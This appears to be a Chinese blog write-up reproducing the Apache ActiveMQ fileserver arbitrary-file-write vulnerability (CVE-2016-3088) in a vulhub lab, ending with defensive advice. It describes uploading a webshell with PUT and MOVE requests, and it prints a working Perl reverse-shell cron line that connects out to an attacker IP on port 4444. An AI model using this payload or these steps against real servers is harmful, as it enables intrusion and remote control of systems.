Apache ActiveMQ 任意文件写入漏洞(CVE-2016-3088)复现利用

发布于:2025-07-18 ⋅ 阅读:(19) ⋅ 点赞:(0)

漏洞原理

Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件,由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp)(PUT请求),同时支持移动文件(MOVE请求),所以我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞

ActiveMQ的web控制台分为三个应用

需要登录后使用:

  • admin,管理员页面
  • api,接口

无需登录即可使用

  • fileserver,储存文件的接口

fileserver是一个 RESTful API 接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

  • 其使用率并不高
  • 文件操作容易出现漏洞

所以,ActiveMQ进行了以下改动

  • 在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启之)
  • 在5.14.0版本以后,彻底删除了fileserver应用

在测试过程中,可以关注ActiveMQ的版本,避免走弯路

影响版本

Apache ActiveMQ:version < 5.14.0

漏洞复现

一、环境搭建

vulhub已有环境,可以通过vulhub进行复现

  1. git clone https://github.com/vulhub/vulhub.git
  2. 进入到漏洞目录下cd /path/to/vulhub/activemq/CVE-2016-3088
  3. 执行命令启动复现环境
docker compose build
docker compose up -d

环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中

访问http://your-ip:8161/看到web页面,说明环境已成功运行

二、漏洞复现

利用方式一:写入webshell
(一) 弱口令登陆

点击Manage ActiveMQ broker,输入默认的弱口令admin/admin登录

访问/admin/test/systemProperties.jsp下可以看到测试环境和web框架的页面,能看到很多信息

(二) 上传webshell

抓包进行修改,PUT方法进行任意文件上传,这里我们上传一个哥斯拉的Shell到fileserver路径下

返回状态码204,成功上传

访问上传文件查看是否上传成功

(三) MOVE到可执行路径下

由于上传的是文本文件并不能被服务器解析,所以我们下一步要利用MOVE方法将上传的webshell移动到可以执行的目录

可以解析jsp文件的路径有:

  • /opt/activemq/webapps/api
  • /opt/activemq/webapps/admin

这里我们把它上传到/opt/activemq/webapps/admin路径下

哥斯拉尝试连Shell,注意需要加上Authorization标头

成功连上Shell

利用方式二:利用cron反弹shell

权限要求:运行ActiveMQ的用户需具备root权限(否则无法写入/etc/cron.d/

(一) 上传cron配置文件

返回204,说明写入成功

*/1 * * * * root perl -e 'use Socket;$i="172.21.39.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh");}'

这里反弹shell使用perl,用bash有点问题

注意一定要换行,而换行一定要\n(LF),不能是\r\n(CRLF),否则crontab执行会失败

(二) MOVE到/etc/cron.d目录下

返回204,说明移动成功,接下来就是等待反弹shell

519415381f3d为docker容器的主机名,成功连上shell

漏洞原理深入分析

具体代码分析可以看这篇,本文主要参考的也是这篇文章

Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析-腾讯云开发者社区-腾讯云

利用姿势

  • 写入webshell
    • 优点:门槛低更方便
    • 缺点:fileserver不解析jsp,admin和api两个应用都需要登录才能访问
  • 写入cron或ssh key等文件
    • 优点:直接反弹拿shell,比较方便
    • 缺点:需要root权限
  • 写入jar或jetty.xml等库和配置文件
    • 需要知道activemq的绝对路径

本文仅演示了写入webshell和利用cron反弹shell,其他利用方式可以自己尝试

理论上我们可以覆盖jetty.xml,将admin和api的登录限制去掉,然后再写入webshell

有的情况下,jetty.xml和jar的所有人是web容器的用户,所以相比起来,写入crontab成功率更高一点

防御措施

  • 升级:使用ActiveMQ ≥5.14.0(彻底移除fileserver)
  • 禁用fileserver:在conf/jetty.xml中注释或删除fileserver配置(适用于5.12.x~5.13.x)
  • 降权运行:禁止以root用户运行ActiveMQ,限制写入敏感目录的能力

网站公告

今日签到

点亮在社区的每一天
去签到